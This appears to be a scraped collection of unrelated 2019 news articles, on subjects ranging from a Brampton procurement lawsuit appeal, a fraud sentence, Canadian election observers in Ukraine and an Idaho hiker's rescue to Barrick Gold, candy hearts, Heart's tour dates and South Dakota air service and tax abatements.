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We also give credit to Janet Morrison of Sheridan for her vision and drive to create an innovation space within the college and to Mayor Crombie for her persistent promotion of Sheridan and her role in procuring these much-needed funds.

FedDevs latest funding is a result of collaborative efforts of the City of Mississaugas Economic Development Strategy office, Sheridan College and Innovation, Science and Economic Development Canada.

Read more about:A Brampton developer is appealing an Ontario Superior Court judges decision to dismiss a $28.5-million lawsuit against the city earlier this year.

The Brampton Guardian has confirmed Inzola Group Ltd. and its owner, John Cutruzzola, filed an appeal with the Ontario Court of Appeals on Feb. 11, just hours before the 4 p.m. deadline.

Yes ... they filed the appeal, Cutruzzola said. The lawyers decided somebody should have a second look at this.

In an emailed response on Feb. 11, the city said it was aware of the appeal but had no comment at this time as the matter is once again before the courts.

On Jan. 11, Justice John R. Sproat issued his 92-page decision dismissing the lawsuit, roughly five months after eight weeks of trial proceedings in Orangeville Court.

Inzola filed suit in 2011 after the firm was disqualified from bidding on the 2009 southwest quadrant renewal project, which included the city hall west tower expansion.

The company accused former Brampton mayor Susan Fennell, former chief administrative officer Deborah Dubenofsky and members of senior staff involved in the procurement process of bias and political interference against Inzola and favouring contract winner Dominus Construction Group.

The city disqualified Inzola after claiming it had violated the procurement process rules. Inzola claimed it was unfairly disqualified and would have been the preferred respondent had it been allowed to continue in the bidding process and was suing for lost profits.

After two months of testimony and reviewing more than 20,000 documents, Sproat ultimately decided in favour of the city.

I believe that Inzola was fighting an uphill battle to become the preferred respondent. Its chances were, therefore, not 1-in-3. My finding is that Inzola had a 20 per cent chance of becoming the preferred respondent, the judge wrote.

The city issued a statement shortly after the decision was handed down applauding the judges decision. Fennell also weighed in after the dismissal, saying she felt vindicated by Sproats decision.

The City of Brampton is pleased with Justice Sproats decision, ruling in favour of the city in the procurement process for the construction of the southwest quadrant. Justice Sproat found the city not to be liable and dismissed the action against the city, read the Jan.11 statement.

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Graeme Frisque is a reporter with The Mississauga News and Brampton Guardian.

Read more about:A crooked investment adviser who scammed more than a dozen long-time friends and other unsuspecting clients out of hundreds of thousands of dollars has had his four-year prison sentence upheld and his fine increased sharply on appeal.

In a ruling Wednesday, the Ontario Court of Appeal rejected Roger Schoers arguments that a lower court judge had failed to understand his trial evidence.

The trial judges reasons turned on the overwhelming evidence that the appellant failed to disclose material facts to the complainants, took advantage of their trust in him, deliberately obfuscated what they were investing in, and directed the funds to his own use, Justice Michal Fairburn wrote for the appeal panel. She understood his evidence; she just rejected it.

Court documents show Schoer, a registered investment adviser in Ajax, Ont., duped friends, acquaintances, neighbours and clients into investing with him over a period of about eight years. In return, they believed they were buying into various companies.

Contrary to his promises, the appellant did not broker a sale of shares or positions in the named companies for his clients, the Appeal Court said. When some complainants were demanding an explanation, documentation or a return of their money, he found new investors and arranged for them to write cheques that could be delivered to the early investors.

In all, the prosecution alleged he had scammed more than $1.8 million but focused on 14 complainants who testified at his trial they were out of pocket more than $400,000. The investors testified about how they had trusted Schoer, who promised they would double or triple their money in short order, and told them how well their money was doing.

Schoer argued he had been truthful, and that the losses were part and parcel of the risks of investments.

Superior Court Justice Cory Gilmore rejected his defence, finding Schoer a combative, belligerent and sarcastic witness whose evidence was preposterous and nonsensical.

His insistence on this fabricated reality (was) disingenuous and not believable, Gilmore found.

Gilmore convicted Schoer of fraud over $5,000 in August 2015 and sentenced him in February 2016 to four years in prison. She also ordered him to pay $109,150 in restitution to those victims who had asked for compensation and fined him the same amount in lieu of forfeiture of his ill-gotten gains. She gave him six years from the date of his release to pay up.

On appeal, Schoer argued $109,150 fine in lieu of forfeiture was too high. The prosecution countered the fine should have been equal to the $403,750 he had scammed the 14 complainants. The Appeal Court agreed with the prosecution.

Having chosen to impose a fine in lieu of forfeiture, the trial judge was duty bound to impose a fine equal to the value of the property, the Appeal Court said.

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The higher court also found Gilmore had inadvertently failed to order $17,000 in restitution for one complainant who had asked and ordered Schoer to pay it.

Failure to pay restitution and the fine within six years of leaving prison would result in a further three-year term, the Appeal Court said.OTTAWAThe first waves of Canadian election monitors have arrived in Ukraine, as fears rise over Russian meddling in the March 31 presidential ballot.

The observer missions are crucial to preserving Ukraines ability to conduct a democratically sound election in the face of Russian efforts designed to portray the country as poorly run and corrupt.

The crisis dates back to the Kremlins annexation of Ukraines Crimean Peninsula in 2014 and its backing of Russian separatist militias in eastern Ukraine.

Canada and its NATO allies consider Russias actions, backed by President Vladimir Putin, to be a breach of Europes borders, and have shored up the 28-country alliances military forces in several eastern European countries.

Now with a pivotal presidential election campaign swinging into high gear, the Trudeau government is following in the footsteps of previous Conservative and Liberal governments in sending a bilateral Canadian-led observer mission, organized between Canada and Ukraine, while also contributing to a multinational mission led by the Organization for Security and Co-Operation in Europe.

The OSCE monitoring missions are widely considered the gold standard in international election monitoring. But Canadas decision to send separate observer missions is unique and has generated controversy over the years.

Read more:

Ukrainian lawmakers bar Russians from observing election

Ukraine FM: Russia will do everything to break up

Companies in Ukraine, Russia hit by new cyberattack

Numerous internal government assessments have said the missions were either problematic or too expensive.

That has not stopped Liberal and Conservative governments from supporting the missions, sparking concerns that they were simply playing politics to win the support of the estimated 1.3 million Canadians of Ukrainian descent.

Election observation is one of most transparent and accountable ways to support democracy, Adam Austen, spokesman for Foreign Affairs Minister Chrystia Freeland, told The Canadian Press in an email.

That is why Canada is proud to support Ukraines upcoming elections through a range of actions, including a bilateral election observation mission and the Organization for Security and Co-operation in Europe (OSCE) election observation mission.

The last of 58 long-term Canadian observers arrived in Ukraine on Tuesday, officials said.

That includes 50 people who are part of the Canadian-led bilateral mission that will eventually include an additional 100 short-term observers.

Another eight observers also arrived recently as part of Canadas contribution to the multi-nation mission led by the OSCE. Canada will be sending 14 more short-term observers to that mission in the coming weeks.

They are among 100 long-term and 750 short-term observers from 13 countries serving on the OSCE mission. Two proposed Russian observers were rejected by Ukraine and the Kremlin withdrew their request to serve on the mission, said Thomas Rymer, spokesman for the OSCEs Office for Democratic Institutions and Human Rights.

The Ukrainian authorities made it clear that they would not accredit observers from the Russian Federation, and Ukraines parliament then passed a law supporting this position, Rymer said in an emailed response to questions. After it became clear that the Ukrainian authorities would not accredit the Russian observers, the Russian Foreign Ministry announced that it had decided not to send the observers, citing security concerns.

Canada fully supported that decision to prevent Russians from taking part in the multilateral mission, said a senior Canadian government official, speaking on the condition of anonymity due to the sensitivity of the situation.

The head of Ukraines cyber police told The Associated Press on Wednesday that Russian hackers have stepped up their efforts to penetrate its central election commission computer systems and manipulate information.

Last week, the Russian-backed former Ukrainian president, Viktor Yanukovych, claimed there would be vote rigging in the upcoming election.

Yanukovych has been found guilty of fuelling the deadly separatist fight that engulfed eastern Ukraine after he was forced to flee the country in February 2014 following a wave of protests. Russia then sent troops to the Crimean Peninsula to annex that part of Ukraine in April 2014.

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In 2004, former prime minister John Turner led the first such bilateral mission of Canadians to Ukraine under the then Liberal government of Paul Martin. The Conservative government of Stephen Harper contributed Canadians to several more of these bilateral missions.

Government officials have raised concerns about this practice. In 2012, Margaret Biggs, the former head of the now defunct Canadian International Development Agency, wrote that multilateral missions are considered a best practice for international election monitoring. Biggs said that in Ukraine in particular the OSCE is viewed as the most impartial and trustworthy, and their findings are taken seriously by the host country and the international community.

A senior Canadian official said Wednesday that we think both are important and are doing both.

Read more about:BOISE, IdahoDick Ross had to get home to babysit his dog Dolly after hiking several days in the Sawtooth Mountains.

The 71-year-old left his hiking companion and began walking through a pass between Upper Bead Lake and Baron Lake. With no trail to follow, Ross climbed over rocks above the tree line. At Baron Lake, he joined a marked trail that would take him northwest to his car in Grandjean, 60 miles northeast of Idaho City.

Two and a half hours before Grandjean, two boulders, one the size of a refrigerator, the other an ottoman, rolled off a mountainside and struck him. He had not seen or heard anything.

The next thing I knew, this big old boulder just rolled right past me and turned and just crushed my legs, Ross says during an interview at his home.

He could barely move. Out of cellphone range, he yelled for hours to get someones attention.

This month, after months of medical treatment, Ross, a retired junior high shop teacher and Boise State University physical plant supervisor, gave an interview to the Statesman and detailed publicly for the first time the lonely, excruciating ordeal.

A Boise native and a 1965 graduate of Borah High School, Ross has been hiking mountains of the Northwest since his teens. He set out Tuesday, Aug. 21, with Ed Terry, a lifelong friend, with whom he had hiked with many times in the Sawtooths.

They spent two days hiking to several lakes, where they fished for brook and cutthroat trout. Theres lot of hungry fish there, Ross says.

On Thursday, the third day, Ross, dressed in lightweight wool pants and a shirt, left Terry and started heading toward Baron Lake and home. The sky was smoky from the Bible Back Fire that was burning in the White Cloud Mountains to the east. About 3 p.m., he crossed through a notch on the western edge of 10,140-foot Monte Verita. He could see Baron Lake 800 feet below.

He started down a ravine. The two boulders struck and pinned him on his back. He had not seen or heard them coming.

Ross isnt sure why the boulders came loose and rolled but says melting snow and ice, along with seismic activity, can make boulder fields unstable.

The smaller boulder landed on him. As he lay with his feet above him, he began digging with his hands around and under the boulders. He freed himself. With his arms, he crawled to an area with sand and gravel that appeared safe from further rock slides.

The pain was unbelievable, Ross says. I just couldnt imagine anything like that. To protect his left leg, he improvised.

My foot was in my boot, but my boot was just swinging around in a 360-degree direction without any problem at all, he says. There just wasnt anything there to hold it in place. His backpack held less than 20 pounds of gear, including a down jacket, tent, food and water. He took his walking poles from the pack to create a splint and wrapped the leg with a bungee cord.

His right leg was broken, too, and he knew it, but he left it alone: The right leg didnt seem to need anything.

He started yelling for help.

I could hear my voice echoing off Baron Lake below, Ross says.

Not long before, six hikers from the Chemeketans, a Salem, Oregon, hiking group, arrived at the lake, where they would camp that night.

I heard the rock slide and didnt think anything of it, since slides are typical, Joel Zak, the groups photographer, said by email. It wasnt until we heard a consistent call-out about every 15 minutes that all of us became concerned. John Coyier, another Chemeketan who was there with his wife, Joanna Picchi, said they couldnt make out what was being said. I was convinced it was someone who needed help, Coyier said in a telephone interview.

Two club members climbed to the top of a nearby ridge to see if they could get cell coverage. They couldnt. So, about 5 p.m., Coyier, 67, headed out toward the sound. He climbed 45 minutes to a basin above the lake. He called out. There was no reply.

Coyier resumed hiking, climbing about 500 feet higher, and reached a bench where he saw Ross several hundred yards away. He heard Ross shouting.

He kept saying helicopter, so I figured he needed help, Coyier said.

Coyier turned back to Baron Lake, thinking it would be better to summon help than to spend more time trying to reach Ross.

Meanwhile, two other hikers, Caldwell residents Alex Marshall and Derek Call, had arrived at Baron Lake for the night, too. Marshall, a paramedic with Canyon County Paramedics, and Call were on the first day of a three-day hiking trip through the Sawtooths. They could hear Ross yelling.

After grabbing a bite to eat, the two men set off to find him. They couldnt. By then it was 7 p.m. and the sun was already behind the peaks, Marshall said in a text message.

We were ready to turn back, he said in a telephone interview. Then we got a little higher on a rise and we heard him again. They reached Ross about 7:40 p.m. He was on a 30-degree slope that was extremely unstable, Marshall said.

Marshall examined Ross. Except for his legs, Ross was in good condition.

Marshall, 42, and Call, 41, told Ross they would make him as comfortable as possible and then go for help. They removed the down jacket and tent from Ross pack, laid them over him and zipped him into his sleeping bag. They gave him some extra water. As he waited, he drank it and ate some energy bars.

As night fell, Marshall and Call descended by the light of their headlamps. We took it slow and cautiously, Marshall said.

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They arrived at Baron Lake and spoke with Coyier, who had waited at the camp after learning the two men had gone to Ross. Marshall and Ross told him they would go to get help, and they set off for Redfish Lake at about 10 p.m. They walked 15 miles before finding cellphone service at the boat dock at the west end of the lake around 3 a.m. Marshall told a police dispatcher about Ross.

Police summoned Two Bear Air, a private air rescue service in Whitefish, Montana, that serves Montana, Idaho and Eastern Washington. Venture capitalist Mike Goguen used his own money to establish the service, and he pays all its costs.

A Two Bear Air crew in a Bell 429 helicopter reached Ross at about 6 a.m. Friday. A crew member descended on a line and attached a harness to Ross, who was lifted into the helicopter.

Tired and in pain, Ross was still alert enough to enjoy the view.

I wish I had been smart enough to use my camera on my phone and take some photos of the Sawtooths, he says. Man, that was gorgeous. An eight-minute flight brought him to the Stanley Airport, where a Life Flight helicopter flew him to Saint Alphonsus Regional Medical Center in Boise.

Over the next few days, Ross underwent three surgeries.

Dr. Annie Knierim, an orthopedic trauma surgeon, operated on his left leg to relieve pressure that had prevented blood from flowing properly. Without that surgery, muscle tissue could have died and Ross could have lost the leg, said Dr. David Zamorano, another orthopedic trauma surgeon who operated on Ross.

Ross broke the tibia, the larger bone in his lower left leg. Zamorano inserted a titanium rod into it lengthwise. The rod aligned and stabilized the bone.

In his right leg, Ross broke his fibula, the smaller bone in the lower leg. Zamorano inserted a small stainless steel plate at the base of the bone, where it joins the ankle.

Ross was aided after his surgeries by his positive outlook and by daily visits by his wife, Brenda, who worked to keep her husbands spirits up. He has had an unbelievably great attitude in his recovery, Zamorano says.

He spent three weeks in the hospital. He left in a wheelchair. In late December, he returned it.

Now he walks for about a half-hour twice a day at Kleiner Park, not far from his house on East Tahiti Drive. Using his hiking poles, he walks on the spongy flat grass in the park and across its rolling hills.

He swims twice a week to the West Boise YMCA and goes to a Saint Alphonsus clinic at the Y for physical therapy.

Overcoming the pain and just trying to keep on moving and trying to get those muscles back and get rid of the pain  thats job No. 1, Ross says.

Before the accident, Dolly, the mixed-breed dog that Ross was returning home to babysit, had been deciding which of her owners she likes best: Dick or Brenda. She been with the Rosses for only a few weeks. The couple have been married 31 years and have an adult daughter, Kelly, who lives outside Portland.

Dick Ross hospital stay cemented Dollys feelings. She decided she liked Brenda better and thats still true, Ross says.

He is grateful for all the help he has received, from the hikers who located him and called for help, and from the doctors and nurses who have helped him recover. He is thankful for the dozens of people who wrote to him in the hospital after news of his ordeal came out.

It could have been so much worse, Ross says.

Zamorano predicts Ross will fully recover: Hes going to get back to hiking out there in the Sawtooths and doing all the things he wants to do.HALIFAXAmid a national controversy surrounding the Prime Ministers office, federal Conservative leader Andrew Scheer stopped in Halifax to build relationships with the Nova Scotia PCs, talk about issues like the Northern Pulp pipeline, and support all efforts to replace scandal-prone Liberal governments.

Scheer said his talks with PC leader Tim Houston and the partys caucus also touched on rural broadband internet and cell coverage, energy policies that could benefit Atlantic Canadians, and the fallout from Prime Minister Justin Trudeaus concessions on NAFTA relating to the dairy sector.

Houston filled Scheer in about the ongoing debate surrounding Northern Pulps proposed effluent pipeline into the Northumberland Strait, the federal leader said after the meeting at the partys downtown Halifax office on Wednesday.

He said it seemed the provincial Liberals waited too long to get serious about the issue, and now the options on the table are certainly less than ideal. The pulp mill has said it cant replace the current effluent treatment plant at Boat Harbour by the provinces January 2020 deadline, and may have to close if the deadline is not extended by at least a year.

Advocacy groups continue to push for the province to hand over environmental assessment of the proposed pipeline to a federal body. A letter sent by Ecojustice on behalf of Friends of the Northumberland Strait to the provincial environment minister on Tuesday said it should be handled by the Canadian Environmental Assessment Agency, since the minister has a conflict. Thats because the province has a financial interest in wrapping things up quickly to ensure the mill remains open and its 300 jobs are not lost.

But Scheer said he understands a federal process wouldnt meet the timelines set out by the province, and suggested a higher level of provincial assessment is another option.

Ill let provincial politicians determine the best course of action on that. But one thing is clear, the Liberal government here certainly has completely mishandled this issue, Scheer said.

Houston wanted to impress upon Scheer the seriousness of finding the right solution on Northern Pulp now, and while its good the company has finally making an application for their new facility, it also shines a light on how the government will handle any assessment.

In the past, Houston has pushed for a more in-depth Class 2 assessment over the Class 1 assessment planned by the province, which allows the public to send in feedback until March 9.

Houston said he is aware of the call for a federal assessment, and while hes willing to talk about what is really appropriate, he reiterated that a Class 1 is certainly not enough.

I think people are concerned about discharging effluent into the Strait  so the government has the opportunity to at least mitigate some of those concerns by doing its job and properly scrutinizing the application, Houston said.

When asked about the partys climate change strategy, Scheer offered no timeline beyond saying it will come out with plenty of time for analysis before a fall election, and will differ from the Liberals carbon tax plan. He said the Liberal plan will only hurt drivers and small business and wont cut emissions.

As the Maritimes faces more dramatic floods and a rising sea level, Scheer was asked if he would commit to increasing the disaster mitigation funds for the region. He was open to looking at existing models and whether they need improvements, adding that disaster mitigation will be a part of the climate change plan.

Although Scheer wouldnt read into multiple N.S. Liberal MPs opting out of the 2019 federal election, including West Novas Colin Fraser and Scott Brison in Kings-Hants, he said its clear that Justin Trudeau scandals have thrown his government into chaos.

Scheer again called on the federal Liberals to allow a parliamentary investigation into whether the Prime Ministers office pressured former justice minister Jody Wilson-Raybould to broker a deal to help SNC-Lavalin avoid criminal charges for fraud and corruption over contracts awarded to the Quebec engineering company in Libya.

This is about Canadians and our right as Canadians to have a justice system that is free from political interference, Scheer said.

He noted theres a lot of common ground between the federal Conservatives and the provincial PC party on fiscal responsibility, transparency, and believing in economic growth as the best way to lift people out of poverty and give more opportunities to hard-working Canadians.

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When asked how the Tories are balancing the need for strong candidates in both federal and provincial ridings, Scheer said the parties support each others efforts to replace scandal-prone Liberal governments, but ultimately every individual has to make up their mind about where they want to run.

For his part, Houston said people often say both parties are different shades of blue, but the issues in Ottawa and Nova Scotia are very much the same with just a different bunch of Liberals, he said.

Correction  February 14, 2019: This article has been edited from a previous version that mistakenly stated Tim Houston said it was good that Northern Pulp had applied to extend the 2020 Boat Harbour deadline by at least a year. In fact, Houston said its good the company has finally made an application to the province for their new facility.

Read more about:When the New England Confectionery Co. abruptly closed its doors last year, howls over the demise of its eponymous Necco wafer echoed across the candy aisle. Perhaps worse, its iconic Valentines Day treatthe Sweetheart and its cutesy phrases (LOVE YOU, MISS YOU, WAIT4ME)looked like it was going to vanish as well.

For small business owner Sarah Hannington, the possibility threatened her company, too. The owner of Florida-based mycustomcandy.com, which manufactures printed candy hearts, Hannington relied on Necco to supply as many as 40,000 pounds of the tiny treat each Valentines Day season.

As the news was breaking out, we kept getting messages like OMG do you guys have any candy hearts left? Hannington said. We get requests from all over the world. You couldnt find it anywhere.

But the panic was misplaced. Plenty of other companies have been making these heart-shaped sugar bombs for decades. And the end of Necco made for a big opening in the market.

Were certainly going to take advantage of the opportunity, said Sarah Kittel, a spokeswoman for Ferrara Candy Co., which has been making its own version of the candy for almost 60 years. Ferrara is the parent of Brachs Conversation Hearts and SweeTarts Hearts Candy Kits. So far this season, the company said its produced 10 per cent more compared with last year, and sales have risen by 11 per cent.

Even Hannington decided to make her own heartsand shes also cashing in, with a 36 per cent increase in sales over last year.

Necco was a New England institution going back to the Civil War. Based in Boston and later Revere, Massachusetts, the company went on to make brands known to children and dentists alike, from Clark Bars to Mary Janes. Last year, the remains of the company were bought by a private equity firm, Round Hill Investments LLC, which ultimately sold the century-old Sweethearts brand to the Spangler Candy Co.

In peoples hearts, Necco was the original, said Beth Kimmerle, author of the book Candy: A Sweet History. Youre going to reach for the brand that has been around for generations. It was the familiar version.

Other iterations, traditionalists complain, differ in colour, texture and flavour. Brachs Conversation Hearts and SweeTarts look similar to the famous Necco hearts but taste different, some say. When it comes to Valentines Day spending, though, no one seems to be boycotting. In fact, rather than being seen as interlopers, the remaining companies are benefiting from all the social media whining.

Obviously all of this very positive conversationforgive the pun around conversation heartsit certainly sparked interest in this product segment, said Kittel. For us, this interest or intrigue is translating into sales.

Ferrara currently occupies 65 per cent of the conversation hearts market, with Brachs and SweeTarts bringing up the rear. Almost all 2,800 of Krogers supermarkets nationwide carry Brachs and SweeTarts, according to company spokeswoman Kristal Howard.

For Hannington and her businessone of the few that can custom-print candy heartsthe demise of Necco created a challenge. The 36-year-old did have some warning it was coming, though. In recent years, getting orders filled by the company had become difficult.

It was slow, Hannington said. You would cross your fingers, and if you got the order, you got the order.

When Necco shut down, she reached out to other candy companies, but to no avail. So she was forced to organize her own manufacturing process. After working with a tooling firm to create heart-shaped metal plates and a food scientist to pick flavour, colour and formula, she found a new manufacturer to produce the candy.

In December, she ramped up her operation, knowing some of Neccos customers might come her way. And she was rightrequests for candy hearts have been tumbling in ever since.

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Spangler didnt return Bloombergs request for comment, though the company said in a statement last month that Sweethearts are expected to return to store shelves in 2020.

There is this novelty and classic-ness to candy hearts, Hannington said. I cant imagine that it would ever go away.Mark Bristow, known throughout the gold industry for his relentless focus on costs, is counting on his belt-tightening skills to take Barrick Gold Corp. to the next level.

John really drove this business on multiple fronts, but his primary focus was the debt, Barrick CEO Bristow said Wednesday in an interview at Bloombergs Toronto office, referring to the miners executive chairman, John Thornton. He really pushed the envelope on cash flow.

The easiest way to manage cash flow is to increase the grade of the gold being mined, Bristow said. You go to the high-grade zones, and you mine them, and you get your cash flow. However, that approach has its limits; the next step is to cut costs sufficiently that lower-grade gold becomes profitable  which also boosts reserves, he said.

Last year, Barrick backed away from a goal, announced in 2016, of reducing all-in sustaining costs to $700 an ounce, citing inflation and falling production as headwinds. Now that Barrick has completed its $5.4 billion merger with Randgold Resources Ltd., Bristow said there is every indication that the new companys costs can move toward that goal.

Barrick, which released 2019 guidance on Wednesday along with its final fourth-quarter earnings as a stand-alone company, will provide more clarity on its five-year cost outlook later this year. But efficiencies at some of its top assets  its mines in Nevada and Pueblo Viejo in Dominican Republic  will drive the improvement, he said.

The transition from open pit to underground mining at Cortez Hills in Nevada is expected to be accompanied by higher costs this year. All-in sustaining costs are expected to be in range of $870 to $920 an ounce for the newly merged company this year, compared with $806 for stand-alone Barrick in 2018.

Andrew Kaip, an analyst at BMO Capital Markets, said in a note that the cost guidance was higher than he expected, and Barricks free cash flow of $37 million in the fourth quarter was below his estimate for $260 million.

Shares fell 2.8 percent to $13 at 11:05 a.m. in New York. The stock has slipped about 4 percent in 2019.

In Nevada, there is opportunity to shift to a margin improvement that is driven by cost cuts, Bristow said.

Read more:

Barrick Gold reports fourth-quarter loss, revenue down from year ago

New Barrick Gold sees costs higher this year than before merger

Barrick CEO on Zambia tax dispute: Threats dont solve problems

Digitization is part of that, as is more centralized control at the mine site. Whereas Thornton favored a decentralized model, in which more decision-making was done by mine managers, Bristow said he believes in determined control, by which he means a handful of more senior executives will call the shots from the ground. Bristow, who was CEO of Randgold, also favors managers he worked with at his previous company, noting that Barrick has replaced all of its minerals resource managers outside of Africa. Weve changed all the geologists.

Head office

Barrick has cut its head office staff in Toronto as part of its restructuring  Bristow doesnt believe in large head offices  and has overhauled the companys senior management. Changes to the global team are now done, he said.

The job cuts have been controversial in Canada, where Barrick only has one operating mine, Hemlo, which is viewed as a strategic asset that offers a large tax shield. Earlier this month, Bristow said the asset would be sold if it couldnt be made profitable, but that now seems less likely. Were going to deliver a profitable business at Hemlo, Im convinced of that, he said.

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Bristow has said he intends to sell some Barrick assets to improve the portfolio, but declined to say whether those transactions will take place this year. With a raft of asset sales expected if the planned merger between Newmont Mining Corp. and Goldcorp Inc. proceeds, it might make more sense to put mines or projects on the market one at a time to keep prices high.

We are working on disposal strategies and engaged with interested parties, Bristow said. Weve got no real bleeders in the portfolio.

Read more about:After a three year hiatus, Heart will be reuniting for a massive 2019 tour that will also feature Joan Jett and Sheryl Crow.

Heart's "Love Again" tour is named after their second track from the 1977 album, "Little Queen", the tour boasts 39 gigs across America. Tickets go on sale this weekend, you can see the full dates below.

In a press release, Nancy Wilson says, "I think the tour will spark some positive new energy as we rediscover some of our iconic songs and also some fan favourites."

"Calling the tour 'Love Alive' was something Ann [Wilson] and I felt instantly good about. We have always had many love-themed mottos along the way like 'Love Rules,' 'Love Wins,' 'Love is It'  and, of course, it's a very cool song as well."

Due to a family dispute between the two sisters, Heart went on a 3 year hiatus which led to solo projects before Ann publicly expressed a desire to reunite with her sister Nancy for a Heart tour. In December, a new live album was also announced.

Heart "Love Alive" 2019 Tour dates:

07/09  St. Louis, MO @ Hollywood Casino Amphitheatre +&

07/11  Chicago, IL @ Hollywood Casino Amphitheatre +&

07/14  Toronto, ON @ Budweiser Stage +#

07/16  Montreal, QC @ Centre Bell +#

07/17  Mansfield, MA @ Xfinity Center +#

07/20  Hartford, CT @ Xfinity Theatre +#

07/21  Saratoga Springs, NY @ Saratoga Performing Arts Center +&

07/23  Bangor, ME @ Darlings Waterfront Pavilion +#

07/24  Gilford, NH @ Bank of New Hampshire Pavilion +#

07/26  Darien Center, NY @ Darien Lake Amphitheatre ^#

07/27  Cincinnati, OH @ Riverbend Music Center #

07/29  Bethel, NY @ Bethel Woods Center for the Arts +#

07/30  Syracuse, NY @ St. Josephs Health Amphitheater +#

08/01  Burgettstown, PA @ KeyBank Pavilion ^#

08/02  Camden, NJ @ BB&T Pavilion ^#

08/04  Cleveland, OH @ Blossom Music Theater ^#

08/05  Detroit, MI @ DTE Energy Music Pavilion ^#

08/07  Indianapolis, IN @ Ruoff Home Mortgage Music Center ^#

08/08  Nashville, TN @ Ascend Amphitheater ^#

08/10  Raleigh, NC @ Coastal Credit Union Music Park ^#

08/11  Virginia Beach, VA @ Veterans United Home Loans Amphitheater ^#

08/13  Columbia, MD @ Merriweather Post Pavilion ^#

08/14  Charlotte, NC @ PNC Music Pavilion ^#

08/16  West Palm Beach, FL @ Coral Sky Amphitheatre #

08/17  Tampa, FL @ MIDFLORIDA Credit Union Amphitheater ^#

08/19  Atlanta, GA @ Ameris Bank Amphitheatre %#

08/20  Birmingham, AL @ Oak Mountain Amphitheatre %#

08/22  Houston, TX @ Cynthia Woods Mitchell Pavilion ^#

08/23  Dallas, TX @ Dos Equis Pavilion #

08/25  Albuquerque, NM @ Isleta Amphitheater ^#

08/27  Chula Vista, CA @ North Island Credit Union Amphitheater ^#

08/28  Phoenix, AZ @ Ak-Chin Pavilion ^#

08/30  Salt Lake City, UT @ USANA Amphitheater

08/31  Denver, CO @ Pepsi Center ^#

09/03  Portland, OR @ Sunlight Supply Amphitheater ^#

09/04  Tacoma, WA @ Tacoma Dome ^#

09/06  Concord, CA @ Concord Pavilion ^#

09/08  Las Vegas, NV @ Palms Casino Resort ^

09/09  Hollywood, CA @ Hollywood Bowl ^#

+ = w/ Sheryl Crow

^ = w/ Joan Jett & The Blackhearts

& = w/ Lucie Silvas

# = w/ Elle King

% = w/ Brandi Carlilefeatured

North Wales

Tickets nearly gone for anniversary ball

Tickets nearly gone for Feb. 16 North Wales 150 ballDan Crisler

Public Opinion Staff Writer

Its official: SkyWest Airlines will provide commercial air service from Watertown and Pierre to Denver.

The United States Department of Transportation announced Tuesday evening that it awarded the Essential Air Service contract to North Americas largest regional airline, which is based in St. George, Utah.

Under the terms of the contract, SkyWest will provide 12 weekly round trips between Watertown, Pierre and Denver. Watertown will receive six direct flights to Denver and six one-stop flights to Pierre and Denver. All flights will be taken on 50-seat Canadair CRJ-200 jets.

SkyWest will receive an annual federal EAS subsidy of $6,882,557. SkyWests EAS contract will last through April 30, 2021.

Flights are expected to begin April 3. Individual one-way passenger tickets between Watertown and Denver will cost $95.

Speaking briefly with the Public Opinion Tuesday night at Watertown City Hall, Watertown Mayor Sarah Caron expressed happiness with the USDOTs decision to accept the two cities recommendation of SkyWest over other airlines.

Im thrilled, she said. I think its just fantastic how fast the USDOT has turned this around.

In a statement, Pierre Mayor Steve Harding expressed similar thoughts.

Im just giddy with excitement for our community and for central South Dakota, Harding said.

With the Pierre and Watertown city government bodies formally recommending SkyWest just last week, the USDOT had up to 30 days to formally accept or reject the cities request.

The USDOTs decision appears to bring a resolution to a saga that began in December when Caron and Harding formally expressed concern to the USDOT when the cities previous EAS airline, California Pacific Airlines, began to regularly cancel flights due to an inadequate aircraft supply. The mayors noted the financially troubled airline also had not paid its fees to the two cities in more than six months.

Toward the end of January, CP Air announced to its employees that it ended flight operations between Watertown, Pierre and Denver.Watertown Public Opinion

New commercial or industrial construction in Codington County would get a notable property tax abatement under a proposal heard by the Codington County Commission Tuesday morning.

Chris Schilken, executive director of the Watertown Development Company, wants no property taxes for the first five years for qualifying companies. After that, they would pay on 100 percent of assessed value.

The plan would also include business expansion. Construction costing less than $30,000 would not qualify whether it be new or an expansion.

Currently, the county taxes at a rate of 20 percent for a business first year, 40 percent for the second, 60 for the third, 80 for the fourth and 100 percent for the fifth. Under state law, no abatement can last longer than five years.

Shawna Constant, county director of equalization, told the group that the county has 345 parcels assessed at $75 million in the current abatement.

Schilken said he currently is working with three businesses looking to expand. Each has asked for a 10-year, tax-free period as a requirement before coming to Watertown.

We dont have a lot of tools in our toolbox, Schilken said, referring to incentives he can use to attract businesses. This is just another one that would help us  county, city and the State of South Dakota.

Commissioners Troy VanDusen and Brenda Hanten both enthusiastically supported the idea.

I think its time for us to start thinking outside the box, said VanDusen, noting that the WDC, city and county all want to grow business opportunities. The state allows this, and I think its something we should look to implement.

Hanten agreed that the county would lose tax dollars for five years but losing a business to another city or county is worse.

I think we need innovative ways to try to boost the economy and economic development, she said. You may not get it (the tax dollars) for five years, but if you dont do it you may never get it.

Commissioner Charlie Waterman was less sure, wondering if rural citizens would benefit. He claimed that rural residents are losing co-operatives and that they may have to pay more for electrical power if theyre forced to use wind-generated energy, which he said costs more.

That remark drew a strong response from VanDusen.

Were in this to help revitalize our area, he said. I get so tired of hearing about city and county. Were together. If these people dont come to our area, theyre not going to buy property in Codington County and were not going to generate the property tax. To say that somebody needs to bend over backward to scratch our backs if we scratch theirs, thats not what this is about.

Schilken said WDC has received requests for information from projects that require a location outside of Watertown but havent been able to land any.

The commissioners also discussed whether the zero tax over five years would affect county revenues.

We wouldnt be foregoing revenue because the taxing districts are still going to be able to ask for revenue, said Cindy Brugman, county auditor. We will be losing growth, probably. The other question is if this is going to shift the tax burden onto someone else.

Schilken pointed out that no other county in the state is offering what the WDC is proposing.

The thing I go back to if you dont get the projects to come, then you have zero growth anyway, he said. Its kind of the chicken-and-egg theory. Some people view it as you lose something. I view it as you defer until when you collect the income.

The commissioners agreed more study and discussion are needed.

The commission also:

 Opened bids for construction supplies for the highway department and chemicals for the weed and pest department. No action was taken on the bids until further study can be completed.

 Approved a property tax abatement for a building in Watertown badly damaged in 2017 by fire.

 Heard reports from Brugman, Constant, Jodi Loehrer of the extension office and Steve Molengraaf from the weed and pest department.

 Noted that Monday, Feb. 18 is a federal holiday and the courthouse and all county offices will be closed.After a heated exchange between town leaders in January, the Carthage Board of Commissioners on Monday decided not to take a position on the EYing Kai wins appeal in child-maid forced labour case

Kanchana Ponglarpsoonthorn

crime

By Bangkok Post

